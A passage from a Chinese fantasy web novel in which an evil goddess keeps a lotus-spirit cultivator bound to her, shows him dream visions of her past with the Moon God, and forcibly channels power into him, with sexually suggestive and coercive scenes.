这样一来,她就不用等到鳞舞诞生后再结契,只是没料到鳞舞还未成型,便可提前结契? 因为这朵莲花带来的特殊性吗? 她再次仔细探查了会,除开方才不小心结下的契约,没什么变化,他还需一段时间才能醒来。 北溯收回手,转身走到床边躺下,闭上眼睛前,设下结界。 安静的寝殿内几乎听不见呼吸声。 莲花还包裹着,里头隐隐显现一道人影,他张开眼,精准无误地看向北溯的方向。 眼前的场景转变,成镜再次被拉入梦境中。 这一次,他不再被困在那人的身体里,站在她身侧,亲眼看着她曾经经历的一切。但他无法触碰到任何东西,也无法发出声音。 他与这空气一般,谁都看不见,摸不着他。 这次梦境,他终于看到她的脸,如那晚所见的脸一样,只一眼,惊艳得久久难忘。 她穿着一身黑绿相间的衣裳,发丝只用一只月牙簪挽着,正笑着望向前方,开口唤了一声:“师父。” 声音是他从未听过的温和。 “小北今日怎么来得这么早?”更加温柔的声音响起,听着叫人极容易对声音的主人产生好感。 成镜转身,朝前看。只一眼,便知她在带自己进魔界时,为何给自己换了那一张脸。 这张脸,原本长在这人身上。 那是额间带有月牙印记的男人,气质温和,清隽秀逸,一身月白长袍,背后悬浮一轮弯月。 此人应当就是上次看见的月神。 他又听见她说:“妖界最近没什么事,待的无聊,便早些来了。上次师父教我的法术我已经学会了,师父还有新的法术教我吗?” 月神浅笑:“小北资质好,学什么都快,你快将我的法术都学完了,以后怕是没什么可教你的。” 她摇头:“那师父快些创造新的法术,再教我。” 一高一低两道身影并排走向那参天月桂树,金叶飘落,散在树旁池水上。 她几步走到秋千旁,坐上去,月神握住绳,稍一用力,秋千荡起来。 成镜看到她脸上的笑容,纯粹而灿烂,完全不是他见到的她会露出的笑容。 心底忽然生出疑问,她究竟为何会成为三界恨不得杀死的邪神,那一次看到的梦境太过短暂,完全不足以他了解当年发生的事。 这个念头一出,成镜思绪一滞。 他竟然生出了要了解这位邪神的念头。 她确实可怕,轻易就能迷惑人心。 成镜沉下心神,摒弃杂念,继续看。他告诉自己,这是通过了解她的过去,掌握她的弱点,以此来对付她。 然而这一次,他看到的,是被昆仑仙尊杀死的月神,在对那位被围堵重伤的邪神说着再平常不过的话。 抛去三百年后对她先入为主的认知,此刻的她看起来,与寻常的徒弟无异,会疑惑功法为何修炼不成,会依赖师父,偶尔也会调皮地做出令师父头疼的事。 一切看起来都那么平静美好。 他不知看了多久,也不知这样的日子她与月神共同度过了多久。 梦境一直没有消散,往常都会出现的身影也迟迟未见。 他看了一次又一次她来此地寻月神,看她与月神并肩修炼,看她坐在秋千上被月神推着荡起。这棵月桂树,记录了她与月神的无数次相处。 成镜不知为何她要让自己看这些,是想告诉他,他们曾经过得有多快乐,她对月神的感情有多深,才会在被封印三百年后,出来的第一件事,便要用他的身体复活月神? 他做不到。 不论是自己的修为,还是这副身体,都做不到复活神。 而她的目的,更让他觉得耻辱,愤怒。 他是独立的个体,而不是她用来复活月神的容器,她千不该万不该,对他动了这样的心思。 即使用他的身体孕育出月神,生下来的也是个孩子,一个孩子,她也能像对待月神一般,将对月神的感情转嫁到孩子身上? 成镜不愿再去想。 他不知道自己为何想到此处,心会抽痛。许是因为自己为杀她而重创的身体还未恢复,不可情绪激动。 几次告诉自己要静下来,可每每想到这些,情绪便无法控制。 耳畔再次响起她的声音:“师父!我又来啦!” 这次他低喝出声:“够了!” 他不愿再听到她的声音,一声声师父,如魔咒一般将他囚禁,令他心浮气躁,不得安宁。 但梦境中无人能听到他的声音,这不过是一场梦。 在三百年后的今天,只能看着已经发生过的一幕幕,无法改变,也无法停止。 于是成镜又看到她在月神柔和的目光下,向他展示他教给她的法术,说着妖界有趣的事,说凤鸣太笨,说她看出雾漓心怀不轨,但她可以解决。 成镜冷嗤。 她若是可以解决,便不会被封印三百年,破开封印出来,不能直接杀去昆仑,只能潜伏在道宗不敢暴露。 他抬眸去看,这一眼,心底生出一股难以控制的躁动。 那架平常都只会坐她一人的秋千上,竟然还坐上了月神。 她朝边上挪了些,拍拍 身侧,对月神说:“师父也上来坐。” 他们同坐在一架秋千上,慢慢地晃着,远远看去,如同神仙眷侣,好不般配。 他们感情这般好,难怪当初月神死,也要保护她,将神格给她继承。 温柔的声音响起:“若是有难,便唤我。” “师父不是不能插手三界的事吗?” 他微微笑着,抬手揉了揉她脑袋,说:“你不一样。” 这一句话结束,眼前景象破碎,入目的是光线稍亮的寝殿,以及躺在床上的女子。 成镜隔着花瓣凝视她良久,脑海中充斥着那句话。 “你不一样。” 天下妖魔众多,她究竟有何不同,会让神另眼相待? 他看着她,探究的眼神不止,却没法破出莲花。低头看向自己的手,稍稍捏合,五指握成拳。身体有力,他没死,她也没死。 成镜闭上眼,仰头呼吸,喉头滚动。 有那么一刻,他想的不是如何杀了她,而是莫名遗憾,几次看她的过往,除了知道她被那条蛇称为北北,被那群人称为殿下,被月神亲切地唤作小北,他竟然到现在,都不知道她的真名。 而自己的所有,被她看穿。 如此地不公平。 成镜知道自己出现了问题,他被此人迷惑得连道心都稳不住,甚至还被她救回了一条命。 所以在她心里,月神那么重要? 他睁开眼,朝着北溯伸出手,碰到花瓣内壁,无法触碰到她。 忽然惊觉,这次离开梦境,不是她将他拉出来,所以她现在,应该很虚弱。 成镜眼底生出杀意,扣住内壁的五指用力,似要撕破花瓣,出去杀了她。 但她醒了。 看到她身体动了的那一瞬,成镜立刻收回手,闭上眼,切断莲花与自己的连接,没有连接,莲花外发生的一切,他都无法感知到。 犀利的目光射向莲花,莲花并无动静,北溯看了一会,起身走过去。 方才她感觉到一道视线自莲花的方向射过来,但一睁开眼,什么都没感觉到,仿佛是她的错觉。 掌心覆上花瓣,这次她什么都没感觉到,里头像是空的。 但里面确实能看到他的身影。 莲花未枯萎,结界也没有被触动的痕迹,人还在,没死,也没走。 北溯不大清楚这类种族生存习性,她也没养过莲花,不过他是仙物,吸收了她的力量,应该不会再死。 再等等。 等她恢复了些,再催化他。 北溯收回手,出了寝殿,去找雾漓。 寝殿内莲花亮了一下,成镜方睁开眼,便觉一股拉力撕扯着自己往外,身体未动,神魂离体,竟然直接出了她设下的结界,瞬息间来到她身侧。 他鬼使神差地伸手去碰她,却从她身体里穿过。 惊觉自己是神魂状态,碰不到她,她也感知不到自己的存在。 他想离开此处,走了不到三米,又是一股拉力撕扯着他回到她身侧。 成镜望着她与梦境中完全不一样的脸,有了一个猜想,他现在似乎与她有了某种联系,无法离她超过三米。 再次尝试后,证实了他的猜想。 现在不知道的是,只作用于神魂,还是身体也不能离开她超过三米,若是身体也不能,那他岂非是与她绑定了? 思索间她已经来到魔宫,见到雾漓。 “昨天来的那只你动手了吗?”北溯随意在一张椅子上坐下,听见雾漓说没动手。 “有一只来,暗处定然还潜伏着好几只,贸然动手,只会落入他们的陷阱中。” 北溯嗤笑:“你什么时候谨慎起来了?这可不像你。” 自见到北溯来,雾漓一直在笑,即使被嘲讽也不生气:“我是为了你的安危着想,他们不可能只会来魔域搜寻,必然也会去魔渊,魔渊的魔尊你是知道的,她可不会像我一样帮你。” “‘帮’这个字从你嘴里说出来,我听着怎么那么想杀你呢。”北溯抬眸,扫视雾漓,缓缓道:“当年你对我说这个字的时候,可是直接捅了我一刀。现在又说,还想背后捅刀?” 雾漓笑容僵滞,没有再说话。 离北溯恰好三米的成镜看着两人来回交锋,想起之前看见的几次梦境,雾漓一次也没有出现过,他们之间又有什么渊源? “我怎么敢再伤害殿下。” 雾漓走至北溯面前,说完这句话,屈膝跪下,他仰首深深凝望她,看她的眼神令成镜不喜。 混杂着欲望,掠夺,恨意,杀气,在成镜眼里,这样贪婪的眼神,是他不屑的。 他浑身被浊气浸透,像是腐烂的泥,生着恶臭。 他不喜。 听见女子的话,他朝她看去,眼神微妙。 “我不喜欢你这样的眼神,低头。” 北溯动手,一掌将雾漓脑袋按下,厌恶看到他这双眼。 “魔渊我会去,你若是敢放一只苍蝇进来,你便可去底下陪你爹了。”她站起身,瞧见他手臂上的臂环,抬手捏碎。 “真难看。” 北溯走出大殿,一丝眼神也未给雾漓。 雾漓瞧着臂环碎片,缓缓站起身,动了动双腿,脚环声音清脆。 他朝北溯离开的方向投去意味深长的眼神,低喃道:“殿下今日的心情似乎不太好,有谁惹殿下不开心了吗?” “是那个人族吧。”雾漓压制着想杀人的冲动,“没用的人族,连讨殿下欢心都做不到。” 成镜不知他在背后骂自己,被拉扯着跟上北溯,见她又回了寝殿。 刚靠近莲花,就被吸进去。 神魂入体,还未来得及调整,她的声音忽然响起,离得很近,像是贴着莲花在说。 “你一直都跟在我身边,对吧?” 成镜睁眼看她,依稀能瞧见朦胧的身影。 “你早就醒了,对吗?” 在出去寝殿后,她察觉到周身空间波动,虽然很微弱,在一直存在,且总觉得很熟悉。直到她走至魔宫前,确定那是成镜。 许是因为她那契约,与他建立了某种联系。 这是个好消息,至少人活着。 成镜没有说话,只要他不主动做出反应,她不会知道莲花内的情况。 但他没想到她会动手掰花瓣。 身子稍微往后退了退,内壁凸起手指形状,他忽然不想现在见到她,抿着唇不说话,盯着被她撕扯的地方,看到莲花毫无破损,可耻地安了心。 “还挺牢固。” 北溯感到棘手。 他要是一直躲在里面不出来,她要如何催化?难道要他把鳞舞生在莲花里? “你要缩在里面一辈子都不出来?” 北溯松手,敲了敲花瓣,等了一会,没听见有人说话。 成镜自己也不知该如何出去,记忆中鲜少重伤到变回原身来恢复伤势,许是等伤好全,便可离开。 外头似乎安静了,他莫名松了一口。 这口气还未彻底呼出来,花瓣散落,女子身影映入眼帘。 成镜错愕。 他瞧见女子对自己露出笑,笑得邪恶。 “抓到你了。” 花瓣散开,北溯嗅到一股浓郁的莲香,看到里头醒来的人,迈步走过去,还未碰到人,他就撑着底下站起身,连连后退。 低头一看,他光洁的脚掌下是红艳艳的花蕊。 视线上移,瞧见他故作镇定,眼神充满攻击性地望过来。 他站在花蕊上,高了许多,北溯仰头望着,也不觉得累,反而更想逗逗他。 “还想杀我吗?”她想到什么,指着那面墙,说:“喏,你那面镜子就在墙上。” 成镜没有去看,只防备着不让她靠近。她走近一步,他就后退一步,直到她踏上花蕊,他忽然面露痛色,将她一把推下去。 北溯知道他并不是攻击自己,他这样的反应,像是被碰到某处极为敏感的地方,又不是被伤到的痛,而是那种…… 北溯低头,看向自己只踩了一脚就被推开的花蕊,心头浮现一个匪夷所思的猜想。 再一看男人,他弓着身子,抬手掩面,未能遮住的耳垂鲜红。 她又看了眼花蕊,飞快伸手揉了一下。 男人的闷哼声立刻响起。 “啊……”北溯愣了,她是真没想到,这都能联系在一块。 心底的恶趣味涌上来,她再次伸出手,继续揉花蕊,那花蕊不知是不是吸收太多她的力量,湿润到随手一捏就溢出汁水,流了一手。 北溯嫌弃地要收回手擦干净,被花瓣紧紧包裹住,伴随着男人压抑的声音。 “你再动,我就杀了你。” 北溯看他,呵了一声,继续揉:“你杀啊。” 男人耳垂的红更深,气息不稳,绞紧北溯手的莲花松开她,隐没到成镜身体里,他松了捂住脸的手,抬头瞪她。 “你以为我不敢吗?” 他以为自己此刻是充满杀意地瞪着那动手动脚的女子,却不知他望向北溯的眼满是情欲,眼尾泛着湿意,水光潋滟,怎么看,都没有威慑力。 北溯直直看着,觉得他不该是莲花,而是魅妖。 “唔,过来,让我在看一次你的本体。” 第28章 花蕊的手感很好,比自然生长的植物要嫩很多,一般来说随手一掐不会出这么多汁水,许是这朵莲花刚生出来,或是吸收了她的力量受到滋润。 但一掐花蕊他就露出这种反应,这应该就是他本体,与他的身体共感。 北溯看他的视线缓缓下移,掠过他起伏的胸膛,再要往下时,一道寒光闪过,她稍稍往边上偏了身子,躲开他这一击,再看去时,眼前已经没有他的身影。 男人方才那副潋滟之色还停留在脑海中,北溯磨了磨牙,有种想对他做些什么的冲动。 转身便见他在不远处,背对着她,身子绷得非常紧,发丝早已经恢复成黑色,垂下来遮住双耳,瞧不清他耳朵是否还红着。 北溯定睛瞧了会,发现他还站在那,没有试图离开。 方才那一击很快,显然他恢复得不错,怎么没尝试逃走呢? 她没再看,眸光一转,瞧见落到角落的臂环,走过去捡。刚走过去,一道气息飞速靠近,她立刻转身去挡,杀招刚动,被身前的人压着抵到墙壁上。 男人略显错愕的眸光投下来,为了阻止自己的身体碰到她,双臂张开撑住墙壁,这样的姿势,恰好将她困在怀里。 浓郁的莲香荡开,涌入鼻中,北溯不刻意去嗅,也能感受到他身上的莲香有多浓。 被这股莲香包围,清新冷冽,如同泡在温凉的池水中,舒适清爽,连火气都降下来。 北溯没有错过他眼中错愕后流露出的杀意,却没动手杀她,就更并不明白他为何会突然靠过来。 看了好一会也不见他有什么反应,杀意渐退,反而露出丝丝懊恼之色。 他在懊恼方才没有动手杀她吗? 北溯无从得知他心中想法,指尖一动,地上臂环悬浮到身侧,被成镜看见,当即松手,往后退了一步,站直,防备着她。 臂环落到北溯手中,她瞥了眼他身上完好的衣裳,遗憾地叹了口气。 “还是雾漓戴这个方便。” 这一句话落到成镜耳中,一股无名怒火在心底烧,他别开眼,不去看这东西。 仿佛多看一眼,会脏了眼。 北溯看出他不喜这东西,收了臂环,去看他,还是好奇他的本体,只是捏花蕊就有这么大的反应,那揉捏花瓣呢?茎叶? 这朵莲花收得太快,她都没来得及多摸一会。 以后有的是机会。 只要他再多作死来杀她,重伤过后本体会出来给他疗伤,机会不就来了。 但再有下次,她不会再救他。 北溯收回思绪,朝他走去,他很警惕,甚至不等她靠近,就已经往后退避开她。 她没打算再对他做些什么,真要动手,也只是会困住他,检查鳞舞在他体内的情况。 现在人醒了,应是没什么大问题,她便可去解决那群老鼠。 北溯直接走过他,走向殿门。 人刚跨出去,身后那人立刻跟过来。 这次她转身面向他,在他脸上看到不同的情绪,不是错愕懊恼,而是难为情。 她挑眉,好整以暇看他:“你总是跟着我做什么?” 她猜测:“看到我背身想杀我?” 她否决:“但你没有动手。” 她困惑:“那是为什么?” 北溯一连问了好几句,男人只抿唇偏头,不看她。 她朝他偏头的方向走了一步,出现在他视线中,含着戏谑的眼神投向他,他当即朝反方向跨了一步,再次偏头不看她。 北溯乐了。 这人比起那群古板的人族修士有趣多了,随便一逗,给出的反应与他表面的形象完全不同。 她很好奇,这人除了见天綪和那几个长老,是不是压根不与其他人接触的? “你怎么不说话?” 成镜不想说话,方才刚被此人动手蹂躏本体,好不容易将那异常的反应压制下来,又接连两次被这莫名其妙的限制弄得不得超过她三米。 本以为那只是神魂才会受到限制,哪知身体也是这般。 如此,他岂非要时时刻刻被迫与她绑定? 偏开的眼底尤为复杂,在杀她与她救了自己中来回挣扎,确实是她救了自己不假,但引起这一切的罪魁祸首也是她。 成镜沉默着没有说话,思绪沉浸,身子忽然一动,熟悉的拉扯感袭来,一抬眼便见近在咫尺的笑脸,从她弯起的眼眸中察觉到她要做什么,却没法制止。 女子在他的注视下,笑盈盈地后退几步。 成镜意识到她跨出三米的限制,身子不受控地再次去到她身前。 脚掌踩在石子地上,正巧踩上尖锐的石块,皮肤被戳通,不适地蹙了眉。 北溯看他露出痛色,虽然很快就恢复平静,但还是看到了。 低头一看,他光着脚踩在石子上,竟然没有悬浮。 是因为受了伤,实力还未恢复,支撑不了身体悬浮了? 之前他一直被困在梦境里,没有石子,倒是没察觉到他已经连悬浮都做不到了,那就没法看到莲花印了。 好可惜。 北溯歪头看他,依旧笑着。 “所以你现在无法离开我超过三米的距离?” 他依旧没说,只是往边上移动,站定了。 北溯已经试出他会突然来到自己身侧的原因,猜想是因为那契约,但更加奇怪,她与鳞舞结契时并没有这层限制,这又是为何? 她抬脚点了点地上石子,低头看他的脚,说了一句:“光脚走路不疼?要鞋吗?” 这次他终于开口:“不必。” 这两字刚出口,北溯就看见他身上衣裳长了些,遮住脚。被遮住前,这双脚上生出了一双鞋。 北溯哦了一声,不要就不要吧,他自己有鞋。 再一抬头,见他还顶着自己捏的那张脸,放了心,转身就走,边走边说:“要是不想被他们知道你是道宗那位仙君,就好好顶着这张脸。除了我,没人认识这张脸。” 她脚步一顿,转身看他,笑得意味深长:“见过这张脸的人,都被我杀了。” 成镜难以形容自己此刻的心情,却知现在最想做的,是将这张脸撕下。 他不屑用旁人的脸,尤其这张脸的主人,与她的关系匪浅。 他不可控地想,她看这张被自己顶着的脸时,心里想的,必然是月神。 身体再一次自己跟上她,成镜干脆跟在她身后,控制自己与她的距离,恰好三米。 此刻他才有机会观察四周。 魔域,魔界分裂后被雾漓统治的区域,这里高山起伏,粗略一瞧与人界无差。 实际上包括妖界,都与人界环境没什么区别,起初世间并未三界之分,人妖魔相融,共同生活,后来因何分裂, 三族各占一方,无人可知。 成镜并未出过人界,去过最远的地方便是一重山外,但未出道宗,是以外界的一切,于他而言,都是陌生的。 粗略一扫,周围暗藏数只魔,皆盯着他。有几只气息比较强大,应是魔将。魔族的魔将并非人族士兵将领,而是一种修为等阶,相当于人族修士三阳境、羿虚境修为。 没有感知到危险,成镜收回目光,看向身前白衣女子。 几乎从未在这个角度看过她,她垂下的发随手用木簪挽着,并非是梦境中所见的月牙簪。 他盯着那木簪,想到先前在她发间拔出的含有妖气的发簪,那是妖王的凤凰翎羽,她还认识凤鸣。 成镜越发肯定她曾经是妖王。 但不凑巧的是,他只知妖界现在的两名妖王,凤凰一族的凤鸣,狼族的黎衣白。 在她被封印前,他还未修炼成型,错过了她存在的时代。 成镜闭上眼,觉得自己现在很是奇怪。 在她身上投入的注意力太多,这不像他。 修炼成人后的三百年时间里,只一心修炼,唯一的目标是飞升,从未对其他事物如此关注过,却在她这破了例。 当真是被她迷惑了。 北溯不知他此刻心中所想,若是知道他以为他自己被她迷惑了,只会嘲笑他定力不足。 她何时迷惑他了? 走到魔域边界那处深渊停下,遥望对面,思考该怎么过去才好。 “你知道魔渊的魔尊吗?” 她也不看成镜,直接问他。 成镜看她的眼神更加复杂,却回答了她的问题:“不知。”他知道妖界两名妖王,还是因为凤鸣经常来道宗捣乱,才记住他。 “唔……”北溯走到深渊边上,低头往下看,深不见底的黑暗,石子掉进去都听不见声音。 “难办。” 本是计划着收服魔界,届时打昆仑时,魔界可供她驱使,牵制人界,再不济也不会背后捅刀。 不知道魔渊的情况,贸然下手,对方若是不服,斗个鱼死网破,那可不行。 “你——”北溯偏头去看他,直直对上他幽深的眼神,从他眼里看到对自己的打量审视,这是先前从未有过的。 北溯任由他看,待他惊醒一般回神,匆匆移开目光,明知故问:“你方才在看什么?” 成镜转而看向对面高山,头抬起的姿势使他下颚线分明,脸侧轮廓拐了极为完美的弧度,嘴唇一动,侧脸轮廓更明显。 对比他看人被发现后匆忙别开眼,北溯看得很光明正大,不在乎自己被发现。 不如说,她乐意看到成镜发现自己在看他,显露的各种反应,很有趣。 “那你对昆仑了解多少?” 此话一出,立刻感知到他气息的转变,更紧绷,更警惕。 “你不是生在仙界吗?你会不了解昆仑?蓬莱一直未曾出世,昆仑屡次出手干涉三界,你在人界这么久,应该知道昆仑多次派人来过吧。” 北溯语气平静,听不出她对昆仑的态度。 但谁都知道,这位邪神被昆仑仙尊封印,定然结下仇怨,她能这么平静地说出来,并非没了恨,而是对情绪收缩自如。 这样的人相处起来,极难看出她内心真实想法。 成镜并不打算告知她,闭口不言。以他的立场,不可能告诉她有关昆仑、道宗的信息。 北溯也没指望他说,但好奇昆仑会拿什么来杀她。 三百年都没能杀得死她,再死十三名仙尊开启弑神阵来杀她吗?她可不是当年的月神,昆仑修为最高的那几个都死了,现在的昆仑根本找不出第二个实力能堪比当初那几个的。 所以她才更想知道,是什么让他们这么有信心能杀了她。 北溯忽然问:“你希望我死吗?” 成镜反问她:“你不该死吗?” 北溯听笑了,她确实该死。身上背负了无数条为她而死的命,死后下了阴曹地府,阎王爷都不不会轻易让她洗清罪孽。 她鼓掌,笑着说:“你说的很对。” 她这样异常的状态,看着像是疯子。 成镜仔细看她,没看出她有讽刺的意味,只是单纯地认为他说的对。这让他不解,怎么会有人觉得自己该死? 她是邪神,邪恶,没有同理心、羞耻心才符合她的身份。 成镜更看不透,梦境里那个纯粹、日日带笑的妖,次次见月神都为修炼,怎么会变成如今这副模样。 他忽然开口问她:“你的神格从月神那继承而来,是他堕神后被污染的神格影响了你,还是因为你本身就是这样的?” 他没有立刻得到回答,并且意识到自己的问题触及到她的敏感处,她立刻冷了脸,眼神冰冷。 成镜仿佛看到一条黑蟒,无情地锁定自己,稍不留神,便会被獠牙刺穿脖颈。 所以确实如他猜想那般,月神对她尤为重要。 越发抵触这张脸。 他方要移开目光,听见她的声音,冷得如冰渣。 “这不该是你知道的。”北溯知道他看到那些过往,必然会探究,但他不该问她。 “你只需安安静静当个雕塑……”声音忽然停止。 北溯改变主意了。 自己与他本就对立,是敌非友,若非要用他的身体修复鳞舞,也不会有接触,他会帮助昆仑一起对付她,他们的初次见面,会在战场上,不是她死,就是他亡。 她不该对他仁慈。 北溯掉头就回去。 她的速度很快,成镜被牵扯着撞过去,在即将撞到她后背时,控制自己堪堪停下。 能看出来她心情忽然不佳,猜到是因为自己的话,也更证实了邪神与正常人不同,她不会顾及到他人,只想发泄自己的欲望。 还未回到寝殿,路上碰到一人,衣裳裸露,麦色肌肤暴露在空气中,眼中只有女子一人身影。 被她捏碎后,他的双臂上没有重新戴上臂环,这位魔尊很听她的话。 成镜听到他们谈论起自己,说的话不堪入耳。 “他没有伺候好你,你还将他带在身边?” 北溯看了眼成镜,见他不适,故意说:“不会伺候,调教调教就会了。” 成镜当即看她,从她眼里看到满满的不加掩饰的恶意,心知她惯会说这种话气人,但还是感觉被羞辱了,尤其还在外人面前。 “需要我帮你调教吗?”雾漓阴恻恻笑着,迫不及待想动手。 他会将这个人族扒了皮,折磨得只剩下服从,只会跪伏在她面前,舔她的脚,求她爱怜。 人嘛,都是下贱玩意,只要能苟活,什么都愿意做。 “你知道的,我很会调教。” 北溯眯眼看雾漓,没有立刻回答,她知道他的手段,皮再厚的妖到他手里,不出一天就会将嘴里的秘密吐出来。 但她不会允许他动成镜。 成镜肚子里有鳞舞,鳞舞还未诞生前,成镜只能是她的。 短暂的沉默被默认成默许,雾漓兴致勃勃地走向成镜,动手抓他。 成镜避开,一转身走到北溯另一侧,忍着心底的恶心,一次次避开雾漓。但雾漓没有罢手的意思,却也没动真格抓他,分明可以直接动手,非要逗他,享受猎物被盯上后,逃跑过程中的惊恐。 这会激得雾漓更加兴奋。 直到他发现这个人族一直在北溯周围绕来绕去,甚至有几次快碰到她。 雾漓没了耐心,停下来,要断他用来躲避的腿。 魔气被一掌击过去,在得手前被拦住。 他不解地看向阻止他的人,问:“你舍不得?” 北溯怎么会告诉他自己的意图,只扯着成镜手腕错开雾漓,往寝殿走。 “他不配伺候你,他连讨你欢心都做不到。” 北溯一句都没有回答。 雾漓盯着她握住成镜的手,嫉妒的幼苗迅速壮大,撑开心脏,填满身体。 真想杀了这个人族。 他怎么配得上服侍殿下? 殿下应该享用他,他是高贵的孔雀一族,一身的孔雀翎羽比那人族身上几根 黑毛好看多了,他们原本都是妖,他们才更配。 雾漓捏紧双拳,浑身肌肉紧绷鼓起,不论谁看一眼,都会夸赞他的身材。 可为何从始至终,殿下都看不上他? 他死死盯着那道倩影,忽然听到她的声音,立即将沉浸在妒忌与怨恨之中的他拉了出来。 “明日随我一起去魔渊。” 阴沉的脸立刻展露出笑,他俯身,朝那道背影行礼,低声道:“遵命,殿下。” 但那双眼依旧盯着他们接触的位置。 北溯一直觉得雾漓是个疯子,当初他疯到在背后撺掇他爹背叛她,他爹捅她的那一刀,她至今还记得。 这个疯子,早晚要被她杀了。 回到寝殿,她先一步进去,站在门槛后几步之遥的位置,看着成镜,等他走进来。 他在殿门外站定,扫了眼门槛,缓缓抬头看她,不知她接下来会做什么。 “进来。”声音还算缓和。 成镜没有动。 北溯再次重复,声音沉了些:“进来。” 成镜依旧没有动。 两人都知道,即使他不动,她也有法子让他进来。 北溯后退了一步,双眼直直盯着他,看他什么时候会屈服。 退了一步,他未动,再退一步,他依旧未动。 北溯没了耐心,直接快步后退,拉大距离,超过三米的那一刻,成镜的身体立刻靠近来,在逼近她的一瞬间,殿门关上,隔绝光线。 成镜几不可查地颤了身子。 下一秒,冰冷的手掌覆盖上他的腹部,没有任何温度的声音响起。 “你乖一点,不行吗?” 汹涌澎湃的力量涌入身体,带来的感觉像是精神被沉入一处极度舒适的温泉里,酥麻到身体战栗。 “我还是对你太心软了。” 竖瞳冷漠,不含一丝感情。 她不想再等了,直接催化,早日见到鳞舞,早日复仇。 神魂探出,进入他额间莲花印记中,这一次不是在她的灵海,而是侵入了成镜的灵海。 神魂全部没入时,成镜捏紧了身前女子的双臂,手背鼓起的青筋昭示他有多用力。 灵海被强制入侵,掀起惊涛骇浪。 侵入的神魂在灵海内搜寻,捕捉那藏起来的神魂。 很快,她找到了藏在海底的莲花,那是包裹起来的莲花,意图用花瓣抵挡她的入侵,但很显然,完全阻止不了。 她畅通无阻地进入莲花,找到了花蕊上的神魂,慢慢靠近。 他已经退无可退。 神魂踩在花蕊上,他想要过来推开她,却软了身子,靠在莲花内壁,只能睁眼用眼神反抗。 即使这样,眼神依旧没有凶狠之意,只有被欺负狠了的破碎和无措。 已经不知道是多少次,在她带来的这种从未有过的感觉里,失去了反抗力。 他只能受着她,等到她玩腻了,再眼睁睁看着她朝自己走过来,攥住自己的双手按在莲花内壁上,直接咬上来。 神魂交融的那一瞬,无法阻拦的力量涌进来,伴随而来的,是他尝过一次想忘却的极致之感。 还未彻底忘干净,又被迫再受一次,一次比一次更诱人沉沦。 成镜清晰地在她眼中看到被拉入深渊中的自己,看到自己那样糜烂,理智与欲望争斗,清楚地知道自己不该,不能,却没法挣脱一丝一毫。 灵海里没有眼泪。 灵海内海浪翻涌,合上的莲花浸泡在海水中,丝毫未受到海浪侵袭,它承载着两道神魂交织融合,感知着主人此刻的煎熬和难以启齿的感觉,但没法做什么。 此刻,侵入者的强大,只能由他被迫承受。 北溯松开他,感受了一下他身体承受的极限,还能再接收些,动了动身子,重新进去,将力量灌输给他。 模糊间似乎听到他说了一句话,至于是什么,她没听清。 北溯没在意,继续输送,但他的声音又响起,这次很清楚。 他说的是:“你把我当什么了。” 北溯脱口而出:“容器。” 这两个字刚出口,一直被压着的人突然爆发力量,反身就将她按在莲花内壁上,掐着她的下巴,再次质问:“你把我当什么了?” 他的语调加重,动作粗鲁,身体逼近。 第29章 把他当成什么 修复鳞舞的容器而已,还能是什么。 北溯不再回答这个问题,将神魂之力倾注到他体内,不用她动手,他就受不住地后退,险些站不稳。 她靠在莲花内壁上,姿态散漫,看他因自己的力量产生不适,强行压制着。 成镜还没得到回答,便被她弄得浑身难受,而她注进来的力量不断涌向丹田,催动着丹田更快地运转,尝试过要将其驱逐出去,但无济于事。 这力量如同与他融为一体,无法分离出来再驱赶。 再次想到她接近自己的目的,她方才的回答,成镜自嘲地想,自己在她眼里,确实只是容器。 突然之间,所有的躁动与怒火都熄灭,内心平静如水,不再在意她的所作所为。 他的力量在逐渐恢复,待全部恢复的那天,他们不会再有任何纠缠。 身为道宗一员,他要做的,是守护人界。 旁的,不该影响他。 成镜后退,不再看她,盘腿坐在莲花上,尽力阻碍涌入丹田的力量,将其引到别处消化掉。 北溯不是没看出来他的意图,诧异他怎么突然就平静下来,还接受良好地吸收她的力量。 她在边上看了会,没看出他有什么明显变化,再一瞧腹部,丹田也只是比平常运转得快了一点,说明催化是有用的,但没那么快见效。 没了兴致再看,回到身体里,睁开眼,身前不远处,他正坐在莲台上,闭目打坐,丝丝缕缕灵力从莲台生出,涌入他体内。 北溯看出了一丝危险,她的力量可以催化鳞舞诞生,但对成镜来说也是大补之物,加上他自己的伴生莲也可帮他疗伤,一齐作用,他的修为很快会恢复。 她倒是不怕这个,怕就怕成镜忽然领悟入神境,渡劫飞升,届时鳞舞还没修复好,自己怕是要死在他手里。 不得不防。 北溯想了会,觉得自己与他无意中缔结的契约极有可能是隐患。一旦超过三米距离,他便会回到自己身侧,若是他借此机会动手,即使她时时刻刻提防,也无法完全避免,还限制她活动。 她只能断开这层连接。 北溯直接动手这么做了,在他睁眼前,直接将人打晕,殿内金芒一闪,恢复平静。 他人倒在莲台上,细密的长睫垂下,安安静静,青衫严严实实笼罩身子,只有衣领那能瞧见白皙脖颈。 此刻的他颇具欣赏性,尤其是现在被打晕后安静地躺在莲台上,可以被肆意打量。 北溯静静看了会,想起他问自己的那两句话。 把他当成什么了? 诧异他为什么突然会问出这句话,从始至终她接近他的目的都说得很清楚,要他生下她的子嗣,她要玷污这朵莲花。 现在么,这两样都快做到了。 当成镜问出这句话,就意味着他已经坠入她为他编织的网,难以挣脱。 北溯抬手摸了摸他眉心,拂过他眉宇,按了一下他的唇,软软的,但有些干燥。 唔,他在魔界水土不服吗? 北溯稍稍往后仰,仔细看他,最后点头,再次感叹,这张脸确实好看,可惜了,他若不是人界修为最高者,不是金莲,兴许就不会遇到她。 指尖移开,搭上他手腕,查看脉搏。 片刻后她收回手,疑惑。 怎么还是没有反应?需要很久才能感觉到鳞舞凝成胚胎? 北溯绕道他腹部前,手压在他腹部,依旧没有感觉到其他气息。 再等等吧,明晚若是还没有反应,再催化一次。 不再看他,北溯走向殿门,打开殿门前瞧了眼被自己挂在墙壁上的昆仑镜,他只要稍微仔细探查,就能发现那是昆仑镜。 想了想还是再他和昆仑镜身上下了禁咒,令他无法动用灵源,要想挣脱禁咒,除非她死。 北溯走出寝殿,关上门,在寝殿外设下禁阵,除非有她的许可,无人能进的来,同样的,成镜也 出不去。 她径直去了魔域边界,站在深渊边缘,稍稍试探,在深渊里感知到一层结界,隔绝两地,谁也无法闯进对面。 身后袭来一道阴暗气息,北溯往边上挪了挪,未去看,开口道:“晚上没事干,跟踪我?” 雾漓否定:“我不用刻意搜寻就能感知到你的气息,你也没想避开我。” 他望向对面,问她:“你要去魔渊见她?” 